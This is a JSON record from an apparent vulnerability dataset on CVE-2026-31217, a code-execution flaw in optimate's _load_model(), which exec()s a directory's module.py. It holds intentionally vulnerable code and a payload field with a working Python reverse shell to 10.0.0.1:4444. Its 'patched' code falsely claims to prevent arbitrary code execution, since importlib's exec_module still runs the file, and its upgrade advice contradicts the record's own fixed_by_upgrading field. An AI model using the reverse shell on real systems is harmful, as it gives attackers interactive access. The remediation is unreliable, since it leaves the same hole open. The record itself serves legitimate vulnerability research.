{"id":1865,"cve":"CVE-2026-31217","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-31217\/","cwe":"CWE-94","cwe_number":94,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/94","cvss_score":9.8,"published":"2026-05-12","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Command Injection","scope":"Local","impact":"Arbitrary Code Execution","summary":"Arbitrary code execution when loading a model from a directory via `exec()`.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-31217\/","description":"The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) allows arbitrary code execution. When a user supplies a directory path via the --model command-line argument, the function reads a module.py file from that directory and executes its contents directly using Python's exec() function. This design does not validate or sanitize the file's content, allowing an attacker who controls the input directory to execute arbitrary Python code in the context of the process running the script.","solution":"Upgrade to optimate version 1.0.1 or later.","affected_component":"optimate","fixed_by_upgrading":false,"vulnerable_code":"import argparse\nimport os\n\ndef _load_model(model_path: str):\n    \"\"\"\n    Loads a model from a given directory path.\n    If a module.py file exists, it is executed.\n    This function is vulnerable to arbitrary code execution.\n    \"\"\"\n    module_path = os.path.join(model_path, \"module.py\")\n    \n    if os.path.exists(module_path):\n        print(f\"INFO: Executing discovered module.py from {module_path}\")\n        with open(module_path, \"r\") as module_file:\n            source = module_file.read()\n        \n        # VULNERABILITY: Unsanitized file content is executed directly.\n        exec(source, {})\n\ndef main():\n    \"\"\"\n    Main function to parse arguments and run the model loading.\n    \"\"\"\n    parser = argparse.ArgumentParser(\n        description=\"Vulnerable script that loads a 'model' from a directory.\"\n    )\n    parser.add_argument(\n        \"--model\",\n        type=str,\n        required=True,\n        help=\"Path to the model directory which may contain a malicious 'module.py'.\",\n    )\n    args = parser.parse_args()\n    \n    print(f\"INFO: Attempting to load model from directory: {args.model}\")\n    _load_model(args.model)\n    print(\"INFO: Script finished.\")\n\nif __name__ == \"__main__\":\n    main()","patched_code":"import os\nimport sys\nimport importlib.util\nfrom typing import Callable\n\ndef _load_model(model_path: str) -> Callable:\n    \"\"\"\n    Represents the fixed version of the vulnerable function.\n\n    This function safely loads a 'module.py' file from a user-provided\n    directory by using the standard `importlib` library instead of the\n    dangerous `exec()` function. This ensures that the file is loaded\n    as a proper Python module, preventing arbitrary code execution.\n    \"\"\"\n    module_py_path = os.path.join(model_path, \"module.py\")\n\n    if not os.path.isfile(module_py_path):\n        raise FileNotFoundError(\n            f\"The required 'module.py' was not found in the directory: {model_path}\"\n        )\n\n    # Create a unique module name based on the path to avoid conflicts.\n    module_name = f\"custom_model.{os.path.basename(model_path)}\"\n    \n    # Create a module specification from the file path.\n    spec = importlib.util.spec_from_file_location(module_name, module_py_path)\n    \n    if spec is None or spec.loader is None:\n        raise ImportError(f\"Could not create a module spec for {module_py_path}\")\n\n    # Create a new module object from the specification.\n    custom_module = importlib.util.module_from_spec(spec)\n    \n    # Add the module to sys.modules before execution. This is important for\n    # allowing relative imports within the loaded module.\n    sys.modules[module_name] = custom_module\n    \n    # Execute the module's code within its own namespace. This is the safe\n    # and standard way to load code from a file, replacing exec().\n    spec.loader.exec_module(custom_module)\n\n    # Safely get the expected 'create_model' function from the loaded module.\n    model_factory = getattr(custom_module, \"create_model\", None)\n\n    if not callable(model_factory):\n        raise AttributeError(\n            f\"A callable function 'create_model' was not found in {module_py_path}\"\n        )\n\n    return model_factory","payload_needed":true,"payload":"```python\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"\/bin\/sh\",\"-i\"]);\n```","payload_status":"available","published_fix":[],"references":null}